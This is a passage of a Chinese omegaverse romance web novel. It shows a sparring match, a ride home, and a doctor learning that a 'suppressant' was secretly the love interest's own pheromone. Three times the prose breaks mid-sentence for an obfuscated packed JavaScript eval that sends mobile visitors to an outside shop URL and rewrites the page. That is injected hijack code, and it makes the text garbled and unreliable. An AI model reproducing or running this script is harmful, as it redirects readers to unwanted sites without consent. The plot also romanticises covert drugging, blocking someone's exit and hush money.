负一楼需要特定权限的门禁卡,晏昭野按理说是进不来的。 晏昭野站在光影交界处,他的眼神不再是分别时那种带着点委屈的模样,而是沉静、专注,像是有某种更深沉的东西。 他晃了晃手里的卡:“张局把他的卡借我了,他说你在这里。” 顾凛序“哦”了一声,没再多问,动手解训练手套的粘扣。 晏昭野上前一步,挡在他面前:“比试比试?” 顾凛序看了他一眼,没说话。 “我认真的,”晏昭野又说,“不是小孩子过家家那种。你不用给我放水,把我打死了也不用你赔。” 顾凛序将刚刚解开一半的手套缠紧,用行动给出了回答。 没有多余的废话,两人同时行动了。 晏昭野率先发起攻击,一记侧踢直扫顾凛序腰侧,速度快得惊人。顾凛序侧身闪避,同时右手格挡,左手迅如闪电地探出,直取对方咽喉。晏昭野反应极快,矮身躲过,手刀劈向顾凛序肋骨空档。 一时间,训练场内只剩下拳脚相交的沉闷声响和两人急促的呼吸声。 真正交手后,顾凛序能够断定,晏昭野的招式没有任何花哨,简洁且目的明确,每一击都冲着制伏对手的关键点而去。 这绝不是普通格斗爱好者的水平,而是经历过系统的专业训练后才能形成的肌肉记忆和战斗意识,其扎实程度完全不逊于联邦军校的一些好手。 两人你来我往,竟一时难分高下,是真正的旗鼓相当。 在一次激烈的近身缠斗中,顾凛序故意卖了个破绽,右肩微沉。 晏昭野果然中计,右手探了出来,眼看就要精准地扣住顾凛序受过伤的左臂关节——这是一个极其有效的擒拿点。 但晏昭野马上想起顾凛序左臂有伤。于是电光火石间,他硬生生止住了原本的动作,手腕以一种别扭的角度强行扭转,化扣为推,改变了发力的方向。 这仓促的变招在高速对抗中带来了瞬间的失衡。本来顾凛序想等晏昭野中计后,自己借力反击,却因为对方的突然收力而打乱了自己的节奏。 两人力道交错、收放不及之下,晏昭野借着前冲和扭转的惯性,身体猛地前压,将顾凛序抵在了训练场的墙壁上。 晏昭野的右手因为强行变向,最终没能扣住手臂,而是越过肩膀,小臂横亘在了顾凛序的颈前。 他虽然没有用力,却形成了一个极具压迫性的禁锢姿态,另一只手则撑在顾凛序耳侧的墙面上。 整个动作发生在兔起鹘落之间,从晏昭野临时收手到两个人以这样一个暧昧又危险的姿势定格,不过一两秒钟。 顾凛序将他们方才的交手在脑中回放了一遍,明白了晏昭野那突兀的变招所为何故。 他不认同地说:“我左胳膊没事。你都说了不放水,就不要顾忌这些。难道在战场上,你也会因为对手的胳膊有伤就改变战术吗?” 然而晏昭野没有立刻回应。 他的注意力被一个前所未有的发现攫住了。 ——他们此刻的距离太近了。 近到他能清晰地看到顾凛序因为运动而泛红的脸颊,感受到他呼出的温热气息拂过自己的下颌,感受到他薄荷味的信息素弥漫在自己的鼻尖。 但这些都不算是最重要的。 最重要的是,顾凛序在抬眼看自己。 不是平日里那种带着疏离感的平视,更非居高临下的俯视,而是因身高和姿势的差异,他不得不微微仰起头,自下而上地抬眼看他。 这个视角对晏昭野而言,是全新的,冲击性的。 他过去认知里的顾凛序,来自于新闻照片或是偶尔的远观。那些图片或视频里的联邦之盾,总是带着或俯视或平视的威严眼神,冷静、高不可攀,周身笼罩着位高权重的气场。 即便在两人相识后,由于他们并没有像现在这样近距离的接触过,所以顾凛序也维持着那种平视。 唯有此刻,在这被逼至墙角的狭小空间里,随着物理距离的拉近,迫使那双眼睛以一种仰视的角度看向他。 晏昭野第一次发现,顾凛序的眼睛瞳色很浅,类似清透的琥珀色,像是上好的蜜糖。 而当他这样抬眼看人时,眼中惯有的冷冽和锐利被这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996135|193880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个角度柔化了,长长的睫毛在眼下投下小片阴影,竟透出一种毫无攻击性的柔软感,让晏昭野不由自主地想沉溺其中。 晏昭野忽然想起曾经在网上看过的一个帖子,一些铲屎官分享生活趣事: 当自家猫主子看起来一脸“凶相”时,只要在它的脑袋下面放一面镜子,从镜中反射的角度看,就会发现猫主子的眼睛实际上圆溜溜的,根本不像在生气,只是视角造成的错觉。 晏昭野想,顾凛序或许也是如此。 只是与那些猫主子的角度正好相反,他俯视众生时的眼神,与此刻仰视着自己的眼神,截然不同,判若两人。 此时这双近在咫尺的眼睛里,找不见半分联邦之盾的冷硬与疏离,仰头的姿势奇异地淡化了顾凛序惯有的压迫感,致使他变得很…… 无辜?可怜? 晏昭野觉得这些形容词放在这里都不合适,但他暂时想不出合适的形容词。 好漂亮的眼睛。 唯有这个最合适的形容窜入晏昭野的脑海,让他的呼吸都为之一滞。 顾凛序的眼睛怎么能这么漂亮?他之前居然从来没有发觉。 他想看这双总是冷静自持的眼睛,因他而蒙上失控的水光,想看着那浅色的瞳仁被激烈的情绪染红,眼尾泛起秾丽的艳色。 晏昭野承认,自己现在的想法有些……恶劣。 这可不能怪我,他理直气壮地为自己辩解。 要怪就怪这昏暗的光线,模糊了环境的边界,将他们紧贴的身影圈禁在狭小的空间里。 还要怪这个过于亲近的、充满掌控意味的姿势,让他滋生了无数暧昧且危险的念头,疯狂地啃噬着他的理智。 怎么办,好想好想好想。 这份渴望如同毒藤般缠绕住他的心脏,越收越紧。 “晏昭野,”顾凛序的声音打散了他旖旎的幻想,“把你的信息素收回去。” 晏昭野猛然回神。 他这才意识到,自己的威士忌气息早已在不知不觉中弥漫开来,将他们紧密地包裹其中。 顾凛序心下不悦。刚才偷袭和比试的时候,这个人明明都将信息素收敛得极好,偏偏在他被压制在墙上、处于下风的此刻,信息素却汹涌而出。 怎么?是看见自己这副落败的姿态,让他找到了优越感,忍不住用信息素来彰显胜利,进行无声的挑衅? 啧,什么人呐。 一时处于下风并不可怕,顾凛序厌恶的是晏昭野这种带着意味的、居高临下的信息素压制。 更让他烦躁的是,他发现自己对晏昭野的威士忌信息素反应异常。 之前在云顶之上他就感觉到了,晏昭野的气息不似其他Alpha信息素那般,会让他引发对抗本能,反而让他有种微醺的错觉,头脑会发晕。 可他明明是千杯不醉的酒量,过去在各类应酬宴会上,自己在酒量这方面至今还未遇到过对手。 或许是因为他从来不喝威士忌?顾凛序为自己找了个理由。 威士忌这种酒,口感浓烈醇厚,带着独特的烟熏和橡木风味,通常更受追求品鉴和情调的人青睐,在需要快速达成目的的公务应酬场合并不常见。 不过他私下里倒是滴酒不沾。还记得当初家里装修设计厨房时,他没有采用他人的意见,而是果断舍弃了酒柜。因为他明知用不上,又何必浪费空间和金钱? 他还无法将这份头脑发晕的不适归咎于晏昭野,毕竟威士忌信息素是天生的,也不是晏昭野可以选择的。 所以他只能压下心头那点莫名的躁动,要求对方收敛。 18. 势在必得E 晏昭野喉结滚动:“你刚才说什么?” 顾凛序蹙眉:“你别乱放信息素。” 晏昭野收敛了周身的气息:“不是这句,上一句。” “我说,我左胳膊没事,”顾凛序耐着性子重复,“你都说了比试不用放水,就不必顾忌这些。难道在战场上,你也会因为对手的胳膊有伤就改变战术吗?” “不会,”晏昭野答得干脆,“但我们不是会成为对手的关系。” “‘对手’这个词不一定特指战场,”顾凛序厘清逻辑,“比如在刚才的比试中,我们就是对手。” “我们不是对手,”晏昭野向前逼近半分,几乎鼻尖相触,“刚才那是我帮你单方面发泄情绪。” 顾凛序被他这歪理气笑:“既然是让我单方面发泄,你怎么还还手?不应该是站着挨打才对吗?” “可你明明就是想试探我的身手,”晏昭野一语道破,“我不过是配合你的测试而已。” 心思被戳穿,顾凛序索性切入正题:“所以你这身格斗技巧,还有对信息素的控制能力是在哪里学的?” “在Z国,”晏昭野答得坦然,“Z国和联邦不一样,只要肯花钱,很多训练机构对身份要求没那么严格,不是军校生也能学到。” 他痞笑道:“嘿这不是巧了么,我最不缺的就是钱。” 顾凛序:“……” 他无法理解,一个养尊处优的富二代,为什么要花钱去找这种罪受?纯粹是闲得慌。 但晏昭野说的没错,这是他的个人自由,自己无权干涉。 “你能不能先退开?”顾凛序想结束他们这过于贴近的姿势,“别压着我。” “不要,”晏昭野没退,“除非你答应,以后让我跟着你,不再赶我走。” 顾凛序挣扎道:“你能不能别这么死皮赖脸?” “不行,”晏昭野制止住他的动作,一字一顿道,“你不能不要我,不能不管我,我跟定你了。” 顾凛序没挣扎开,只得说:“……你想跟着我也行,但我还有个问题,你必须如实回答,否则一切免谈。” 晏昭野眼睛一亮:“什么问题?” 顾凛序借此机会问了出来:“关于去年那段录音。真相我已经知道了,我想问的是你当时为什么选择沉默,不站出来为自己澄清?” 晏昭野没料到他会问这个:“你听谁说的真相?是那个被我们救下的Omega吗?” 顾凛序轻踢了他一脚:“你不要顾左右而言他。” 晏昭野正面回答了:“原因有很多。其实我早就发现是黄子皓在搞鬼,只是一直没有确凿证据。而录音风波一起,我正好有了名正言顺的理由和他们那群人断绝来往。” “另一方面也是出于商业考量吧,穹星生物当时正想和这些富二代的家族企业切割,这虽然是个伤敌一千自损八百的蠢办法,还非常对不起你,但效果立竿见影。” 他看向顾凛序,眼睛里藏着小心试探:“这个答案顾调查官满意吗?” 顾凛序沉默了一瞬,没有说话。 老实来讲,他并不满意这个答案。因为在他的认知里,晏川柏不是那种仅仅为了商业考量,就能狠心把脏水往儿子身上泼的人。 但他感受到了晏昭野目光中的小心翼翼,不管真正的答案是什么,至少有一点是可以肯定的——晏昭野当初没有站出来并非出于本意。 无论是借机与那些狐朋狗友切断联系,还是所谓的商业切割,他对自己始终没有轻视或不屑的态度。过去如此,现在更是如此。 得知这一点后,顾凛序倒也没有那么在意真正的答案了。他迎着晏昭野的目光:“你先放开我,别压着我,我就满意。” 晏昭野脸上带着点宠溺的笑意:“顾调查官,你刚才可没提这个附加条件啊。怎么还带临时加码的?” “我们两个到底谁在得寸进尺?”顾凛序避开他过于灼热的呼吸。 晏昭野与他对视几秒,最终还是乖乖地松开了力道,向后退了一步。 两人之间拉开的距离让空气重新流动起来,顾凛序也恢复了平视的姿态。 他整理了一下仪容,目光落回晏昭野脸上:“所以你从一开始,就知道是黄子皓在背后操纵这一切。” “这话不准确,”晏昭野纠正道,“我知道是黄子皓动的手,但我不知道他背后那个人是谁。因为以黄子皓的脑子想不出这么周全的局来坑我。” 顾凛序将卸下的训练手套放在一旁:“那个被我们救下的Omega提到,黄子皓在两年前曾惹上过大事,但被压下去了。她怀疑可能就是这个帮他平息事端的人在背后指使。” “两年前?”晏昭野茫然地说,“这事我倒没听说。看来黄子皓瞒得还挺严实。” “我回头设法查证这件事。”顾凛序活动了一下左臂。 晏昭野的视线追随着他的动作,一连串地问:“你的胳膊怎么回事?伤得重不重?上次在云顶之上打架有没有加重伤势?这几天恢复得怎么样?” “没事,”顾凛序小幅度甩了一下左臂,“已经看过医生了。” 见晏昭野依旧一脸不放心地盯着自己,他补充了一句:“真的没事。” “医生?哪个医院的医生?”晏昭野追问。 顾凛序:“不是外面的医院。特调局有定期过来坐诊的专属医生。我平时都找她。” “靠谱吗?”晏昭野的眉头未展,“怎么这么多天了还没好利索?” “联邦特调局请的医生,怎么可能会不靠谱?”顾凛序觉得他未免小题大做。 “受伤的恢复速度和医生的能力有什么关系?她起码比你靠谱多了。比如你给我的那个抑制剂样品管,我就转送给她研究了。” “啊?”晏昭野的神色微变,“你怎么把我送你的抑制剂送出去了?” “怎么了?”顾凛序不解,“她听说这件事,对那支抑制剂很感兴趣,想要拿去分析一下成分和结构。” “哦……没什么,”晏昭野故作轻松地说,“你记得帮我要回来。那个试管尾端有我们项目的太阳logo,属于商业机密,不方便外泄。” “知道了,”顾凛序应承下来,“我会记得要回来的。” 看着顾凛序开始收拾东西,晏昭野又问:“你今天还加班吗?什么时候回家?” 顾凛序答:“不加班,这就回去。” 晏昭野热情地问:“你家在哪里?我送你。” 顾凛序拒绝了:“不用,我自己有车。” “那你家在哪儿?” “干什么?” “不干什么,我就问问。” “不告诉你。” “你不告诉我,我就自己去查。”晏昭野耍无赖道。 顾凛序知道,虽然自己的住址在特调局内部属于保密信息,但以晏昭野和张渐鸿的关系,如果他真想查,迟早能从张渐鸿那边知道:“算了,你送我吧。” 晏昭野脸上绽开灿烂的笑容:“好嘞,我去车里等你,就是你上回坐的那辆。” 他高高兴兴地去车里等顾凛序,路上不经意地发现有个中年男人站在一片树影下,指间夹着烟,正压低声音讲电话。 这个人的年纪看起来要比张渐鸿年轻些。即便隔着一段不算近的距离,晏昭野却能感觉到对方不是放松的姿势,肩膀微微耸着,拿烟的那只手不时抬起又放下。 对方估计是没料到下班时间,特调局还会有人在,被晏昭野吓了一跳,通话的声音停止,侧过头朝晏昭野这边看了一眼。 然后他便掐了烟,转身匆匆朝其他地方走去,晏昭野猜他大概是换了个自己看不见的地方继续打电话。 晏昭野收回目光,没兴趣探究别人的私事。 他拉开车门坐进驾驶座,打开车内音响,调了首轻快的曲子,手指在方向盘上跟着节奏轻轻敲打,等顾凛序过来。 顾凛序回办公室换了常服,下楼找到晏昭野的车,拉开车门坐进副驾,将手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996136|193880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里拎着的袋子递过去:“衣服还你。” 那件外套他虽然让李俊荣和李俊义扔掉,但双胞胎到底没有真的扔掉,又悄悄放回了他的办公室。顾凛序发现后也没再说什么,今天正好物归原主。 晏昭野接过袋子,随手放到后座,发动车子:“你家住哪?” 顾凛序报了一个地址。 车子汇入夜晚的车流,晏昭野一边注意着路况,一边状似随意地问:“你家里还有别人和你一起住吗?” “你查户口呢?”顾凛序瞥他一眼。 晏昭野搬出几十分钟前的说辞:“不查户口,我就问问。” 顾凛序不打磕绊道:“我爸我叔我舅我姨我岳父我岳母……” “这么多人……不是等会!”晏昭野抓住关键词,声音都拔高了,“岳父岳母?!” 顾凛序看着他绷紧的侧脸,轻笑出声:“……都不住。” 晏昭野哭笑不得:“顾调查官,这玩笑一点也不好笑。” 话虽这么说,但看着顾凛序脸上那转瞬即逝的、带着些许促狭的笑意,他心头那点被捉弄的郁闷烟消云散,反而泛起一丝隐秘的甜。 ……看来顾凛序现在的心情不错,晏昭野暗自揣摩道。 “就我一个人住。”顾凛序给出了真实答案。 晏昭野:“一个人住那么大的房子,不觉得空吗?” 顾凛序:“怎么了?” “我能去住吗?”晏昭野顺杆爬道。 “不可以。”顾凛序斩钉截铁。 “怎么样才能可以?”晏昭野不死心地讨价还价,“我付租金行不行?” “怎么样都不可以,”顾凛序不为所动,“你趁早打消这个念头吧。” 晏昭野干巴巴道:“哦,好吧。” ……切,顾凛序你就嘴硬吧,等你以后易感期发作,看看是谁求着让我住进你家。 车子平稳地驶入小区,停在单元楼下。 “到了。”顾凛序解开安全带。 晏昭野殷切地望过来:“我能上去坐坐吗?就喝杯水。” 顾凛序:“不能。” “为什么?”晏昭野又开始新一轮的胡搅蛮缠,“顾调查官,你是不是针对我?要是张局在这里想喝水,你肯定就答应了。” “因为他是我领导,”顾凛序推门下车,“官衔比我大。” 晏昭野若有所思:“只要官衔比你大就能上去吗?” 顾凛序警惕地看向他:“干什么,想拿张局压我?” “不敢不敢,”晏昭野摆出一副委屈又可怜的模样,“你就这么嫌弃我吗?连杯水都舍不得给我喝?” 顾凛序从口袋里摸出几个硬币,从车窗拋给他:“想喝自己买。” “走了。”他留下一个干脆利落的背影。 晏昭野看着他那毫不留恋的身影,无奈地叹了口气。 ……追对象这条路,果然任重而道远啊。 他俯身从后座拿过那件顾凛序刚归还的外套,凑近闻了闻。上面残留着极淡的的薄荷气息,闻起来冰冰凉凉的,很舒服。 真奇怪。 为什么同样是顾凛序的信息素,留在这件衣服上的,就只是单纯的清凉感。可当靠近顾凛序本人时,那萦绕周身的薄荷气息,却总能让他心头躁动,血液发热,像被点着了一样? 晏昭野捏着外套,思索片刻,最后归结为一个原因: 可能让他发热的,或许从来不是那抹薄荷的冷香。 而是散发出这薄荷味信息素的、那个名叫“顾凛序”的人本身。 他看着闭合的单元门,眼底掠过势在必得的暗芒,唇角勾起一抹带着野气的弧度。 哼哼,你家的水我迟早要登门喝到。 我还不止要喝你家的水…… 我要喝到那潜藏在你身体深处的甘泉,让你颤抖着为我涌出最滚烫的水。 车窗映出晏昭野势在必得的笑。 顾凛序,我们来日方长。 19. 被标记的A 今天是杨雪蚕去特调局坐诊的日子。 她从昨晚就惦记着特调局食堂那口酥脆的油条。那油条炸得金黄蓬松,外皮酥脆,咬下去会发出清脆的“咔嚓”声,内里却柔软带韧,带着恰到好处的油香,是她从小到大吃过的最合心意的油条,早市都吃不到这一口。 她一边美滋滋地享用早餐,一边算着时间。昨天下午她把顾凛序给的那支抑制剂放在质谱联用仪里,设置了低温保存模式,估计吃完饭回去就能看到成分分析结果了。 从食堂出来,杨雪蚕径直回了自己的办公室。拐过走廊转角,她看见有人正等在她的办公室门口。 那人随意地倚在墙边,身形挺拔修长,兴许是身高带来的天然优势,即便姿态闲散,也透着一股不容忽视的存在感。 杨雪蚕走近几步,待看清对方的脸时,不由得一怔。 居然是那个近来在特调局风头正盛、名字无人不知的晏昭野。 “你好,我是特聘医师杨雪蚕,”她礼貌询问道,“是哪里不舒服吗?” “没有不舒服,”晏昭野直起身,“杨医生,我就是来找你的。方便进去聊聊吗?” 杨雪蚕暗自诧异。她觉得现在的晏昭野和她从顾凛序那里听来的形象不太一样。 不是说是个吊儿郎当没有正形的纨绔吗?可眼前的晏昭野神情认真,甚至带着几分严肃。 “啊,方便的,”她打开办公室的门,“是你自己来找我?还是顾队让你来的?” “我自己来的。”晏昭野跟着走进来,目光扫过角落里正在运行的检测仪。 杨雪蚕跟着瞥了一眼仪器屏幕,自己回来早了些,还有一分多钟才能出结果。 “找我有什么事吗?”她坐了下来。 晏昭野坐在旋转椅上:“我听顾凛序说,你把他那支抑制剂要走了。” “嗯,是的,”杨雪蚕隐隐感到不安,“我对你们研发的静默剂中和剂很感兴趣,想研究一下。如果冒犯的话,我这就还给你。” “你检测那支抑制剂的成分了吗?”晏昭野的声音很平静。 杨雪蚕:“……怎么了?” 直觉告诉她,如果自己承认检测了,眼前这个看似平静的Enigma可能就不会像现在这么客气了。 可她偏偏在昨天晚上把那管淡蓝色的试剂放进质谱仪,还有一分多钟就要出结果了。 不对,不到一分钟了。 自己这么胡思乱想的时候,已经是倒计时五十六秒了。 为了让氛围轻松一些,杨雪蚕开了个玩笑:“难不成抑制剂的成分有问题?” “是有问题,否则我也不能特意过来找你了,”晏昭野的回答让她的尬笑僵在脸上,“所以杨医生还没有检测?” 杨雪蚕心下一惊:“什么问题?” “怪不得,”晏昭野笑了笑,“等检测后你就不能这么心平气和与我说话了。” “我检测了,但是结果还没出,”杨雪蚕急了,“你那个抑制剂的成分到底是什么?有危险吗?晏昭野,你不要拿顾队的性命开玩笑。” 三十六秒。 三十五秒。 她在心里疯狂祈祷时间走得更快些,悔恨昨天为什么没有早点把抑制剂放进质谱仪。 “没有危险,”晏昭野示意她不要如此激动,“这你大可以放心,我不可能拿顾凛序的命开玩笑。” “那是什么问题?”杨雪蚕心里很慌。 “你是在等检测结果吗?”晏昭野注意到她频频瞥向角落的视线,“结果马上就要出来了?” “还有不到半分钟。”杨雪蚕没有隐瞒,因为质谱仪就摆在那里,晏昭野如果想看,他也能看到倒计时。 “我现在就可以告诉你答案,”晏昭野的声音带着蛊惑,“何必盯着冰冷的机器?” 杨雪蚕一脸警惕:“我不信你。” “从进门到现在,我说的每个字都是真的,”晏昭野发誓,“我更没有骗你的必要,反正几秒钟之后你都能知道。” “……那你说吧。”杨雪蚕当着他的面又看了一眼屏幕。 十秒。 九秒。 晏昭野缓缓开口:“那个成分是……” 三秒。 二秒。 倒计时最后一秒—— “……我的信息素。” “叮——” 是质谱仪的提示音。 屏幕上跳出分析结果: 【主要成分:高纯度Enigma信息素提取物】 【浓度:97.3%】 【检测到特异性生物标记:威士忌醛类衍生物】 杨雪蚕吓了一跳,后退撞上实验台。 她不敢置信地看着报告,又看向面前这个胆大包天的Enigma。 他竟然敢把自己的浓缩信息素伪装成抑制剂,注入顾凛序的身体! “晏昭野你疯了吗?!”杨雪蚕拍向桌面,震得笔筒里的笔哗啦作响。 “强制标记是重罪,不管对方是Omega还是Alpha!更何况那是联邦之盾顾凛序!” 晏昭野懒散地靠在旋转椅上:“我清醒得很呐。” “看见没?”他用指尖点着自己的脖颈,“那天他自己把针头抵在这里注射的,不信你去问当事人嘛。” “那是因为他不知道里面装的是什么!”杨雪蚕气得声音发颤。 “不然呢?”晏昭野抬眼反问。 “静默剂的代谢周期有多长,杨医生你应该比我清楚吧。除了用我的信息素覆盖,你倒是说说还有什么办法,能让他平安度过易感期?” 杨雪蚕胸口剧烈起伏着,愤怒的火焰在眼底燃烧,可理智却像一盆冰水浇在心头。 晏昭野说的没错。静默剂如同附骨之疽,现有的医疗手段束手无策,没有有效的药物。 但晏昭野的信息素不是药物,所以不能归纳在医疗手段的范畴内。用更高阶的Enigma信息素去覆盖、中和静默剂的影响,在理论上确实是可行的路径。 从某种程度上来说,Enigma的信息素和强效的镇定剂很相似。不过前者要比后者好用得多,既不会对顾凛序的神经系统造成负担,也不会影响他的判断力和反应速度。 可顾凛序一旦接受了晏昭野的信息素,不管是否出于自愿,那这性质就变了。 这就不能算是治疗,而是标记了。 ——顾凛序被标记。 ……“被”标记。 杨雪蚕光是想到这个可能性,就感到荒谬的战栗。 她心目中永远冷静、永远掌控全局、如同出鞘利刃般的顾队,他的名字怎么可以和“被”这个字联系在一起?他本该是执剑者,而非剑下臣。 他应该是主导者,是支配者,是连易感期都能用意志力硬抗过去的联邦之盾才对。 而现在晏昭野不仅妄图打破这个神话,还要用最狡猾的方式,在他身上刻下属于自己的印记。 除了颠覆认知这一层原因以外,杨雪蚕之所以没和顾凛序提出这个解决方案,还存在另一层原因: 尽管Enigma的信息素比强效的镇定剂好用,但它们都有一个共同的弊端,即会让接受对象产生依赖性。 随着顾凛序接受晏昭野信息素次数的增加,势必会产生对其信息素的依赖。Enigma对Alpha的天然压制,注定会让清醒的意志逐渐沉沦。 “你这是在践踏顾队的信任!”杨雪蚕忍无可忍,“我现在就要去告诉他真相!” “你试试啊。” 晏昭野突然伸手捞过她放在桌上的手机,踩住桌腿借力,旋转椅“唰”地滑到门前,长腿一横挡住门口。 他的鞋尖轻点地面,椅子危险地左右摇晃,还挑衅地朝杨雪蚕勾了勾手。 “好啊晏昭野,你还跟我耍阴招,”杨雪蚕气极反笑,“我昨天和顾队说好了,他今天十点整会准时过来,我倒要看看,咱们两个谁能熬得过谁?” 她对晏昭野的印象可谓是差到了极点。这个人仗着自己是Enigma,行事如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996137|193880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此不择手段,连顾凛序都能这般算计,其本质上又能好到哪里去? 她绝不能眼睁睁看着顾凛序被这样表里不一的人蒙蔽。 “没事,我们拖不了那么久,”晏昭野晃了晃她的手机,“我这不是过来给你送封口费了?杨医生,如果你答应我,别把这件事告诉顾凛序,我可以……” “滚!老娘才不要你的臭钱!”杨雪蚕抓起桌上的文件狠狠砸过去,也不管文件的内容重不重要了,纸张如雪花般散落。 “仗着家里有几个臭钱了不起吗?这是钱的事吗?我可是特调局专门请来的医生,怎么可能和你同流合污!” 她双手叉腰,语速快如连珠炮一般:“你这个自恋狂!控制欲变态!披着人皮的跟踪狂!以为用信息素绑住顾凛序就是赢了?我告诉你,等顾凛序发现真相,第一个拧断的就是你这根歪脖子!” “还堵门?你以为演偶像剧呢?学生时代被老娘骂哭的Alpha能组成个加强连!就你这种臭变态!死变态!老娘见一个打一个!” 杨雪蚕虽然身手不如晏昭野,信息素等级更是与他天差地别,但她在学生时代就是学校和班级里出了名的小辣椒,眼下火力全开,字字诛心、句句见血,饶是“控制欲变态”晏昭野都被她骂得眼神清澈了。 晏昭野被她这劈头盖脸的痛骂砸得有点懵,难以置信地问:“……杨医生,您这泼辣的性子,令尊知道吗?” 杨雪蚕更炸了:“哎哟晏昭野你还敢调查我爸?!” “别急,你先听我说,”晏昭野抢在她二度火力全开前抓紧说,“杨教授去年是不是参与过‘普罗米修斯’项目?” 杨雪蚕瞳孔微缩。 她满腔的怒火立马卡住,像是被按了暂停键:“你、你怎么会知道?” “普罗米修斯”是联邦生物安全司去年的最高机密项目。她作为女儿,只知道父亲参与此项目,具体内容一概不知,他们一家也从未对外提起,其他亲朋好友都不知道这件事。 这件事被严格保密,晏昭野怎么可能知道? 晏昭野看着她变幻不定的神色,不答反问道:“你知道杨教授当年是怎么和项目联系上的吗?” 杨雪蚕没有马上回答,她的思绪飘回去年。 当时她的父亲正在Z国进行学术交流,接到联邦生物安全司的邀请后欣喜若狂,当即着手准备回国。 可不知怎么,提前回国的消息走漏了风声,Z国竟然无故扣押了他的回国航班,接着就是无休止的盘问和变相软禁。 那段时间父亲在异国他乡孤立无援,承受着巨大的心理压力。好不容易熬过审查回到国内,却不幸与“普罗米修斯”项目断了联系。 失联使得回国后的父亲开始变得极度焦虑、多疑,总怀疑身边还有Z国的眼线,总懊恼自己连累了整个项目,乃至联邦。 严重的心理问题引发了躯体症状,让他整个人迅速憔悴下去。杨雪蚕和母亲心急如焚,却束手无策,不知道该怎么安慰。 所幸后来父亲终于联系上了项目组的人。不过杨雪蚕至今不清楚父亲是如何做到的,只知道联邦从未放弃过父亲。父亲的心结也由此解开,如今仍在为生物安全司效力。 杨雪蚕收敛了情绪,严肃地回答:“不清楚。只听说是生物安全司主动与我爸成功取得联系。” 她深深看了晏昭野一眼,疑惑为什么对方会知道这么多,但她想了一下,没有问出口。 “那你知道在希腊神话里,普罗米修斯为人类带来了什么吗?”晏昭野又问了一个问题。 杨雪蚕不假思索地说:“火种。” “对,”晏昭野的目光深邃,“火种。人类的希望之火。” 火种…… 希望之火…… 杨雪蚕怔住原地,脑海中像是有道闪电劈过。 她突然想起去年那段火遍全网的录音—— “就他还联邦之盾?呵呵,那我还是‘希望之火’呢。” 等等,希望之火? 该不会是…… 20. 承担骂名E “……是你?”杨雪蚕震惊地看向晏昭野,“那段录音是你自导自演的?” “不是,”晏昭野否认了,“是有人在背后搞我,但最终事态的发展倒是正合我意。杨教授正是通过这个的暗号找到了我们,与我们建立了联系。” 杨雪蚕呼吸一滞:“你……” “严谨来说,”晏昭野像是在陈述一个与己无关的事实,“去年并非我们主动联系杨教授,而是杨教授联系我们。” “由于某些特殊原因,我们无法直接与他接触。而杨教授当时也因为自身处境和心理状态,不敢贸然寻找我们。所以我们只好出此下策,布下这个看似荒唐的局。” “万幸杨教授听懂了录音的弦外之音,成功与我们接上了头,也顺利加入了普罗米修斯项目。” 他脚下一给力,带着旋转椅远离了门口,把手机还给杨雪蚕:“我知道杨医生看不上我的臭钱。‘封口费’我用这个真相来换,不知道够不够分量?” 刚才还语速飞快的杨雪蚕早没了骂人的气焰,竟是一个字也说不出话来。 好半晌,她才找到自己的声音:“你……你为什么告诉我这些?” 全网都认定晏昭野狂妄自大,羞辱联邦之盾,就连顾凛序本人当时恐怕也是这么认为的。 可谁又能想到,这背后原来是一场精心设计的、无法言说的暗号传递? 而这个年轻的Enigma,居然就生生忍下了所有的污名与骂声。 杨雪蚕不敢想,那段被千夫所指、全网唾弃的日子,晏昭野究竟是怎么熬过来的? “封口费啊,”晏昭野脸上又露出漫不经心的笑意,“条件就是你不要告诉顾凛序,那支抑制剂的真实成分是什么。” “为什么?”杨雪蚕不解,“他迟早会知道的。” 晏昭野收了笑容,再开口时,语气很是认真,每个字都像投入静湖的石子,在她的心底激起层层涟漪: “因为我不想通过一个标记,让顾凛序被迫与我绑定一段关系,我希望他在知晓这一切之前先爱上我。” 没办法,事态的发展超出了晏昭野的预料。静默剂的出现像一只无形的手,将他内心深处对顾凛序那份隐秘的渴望不由分说地推到了台前,打乱了他原本的追人计划。 “那可是顾凛序,是联邦之盾,”杨雪蚕喃喃道,“他那样的人,真的会去爱一个人吗?” “不知道。但我想试一试,”晏昭野实话实说,“万一……我就是那个‘万一’呢?” 沉默在两个人之间蔓延。杨雪蚕低头看着那支尾端刻着太阳徽记的试管,仿佛能感受到其中蕴含的、既危险又滚烫的真心。 “我接受你的封口费了,”她将试管递还给晏昭野,“你放心,这件事我不会告诉顾凛序。” “谢了,”晏昭野接过试管,妥善收好,“那我这就滚了。” 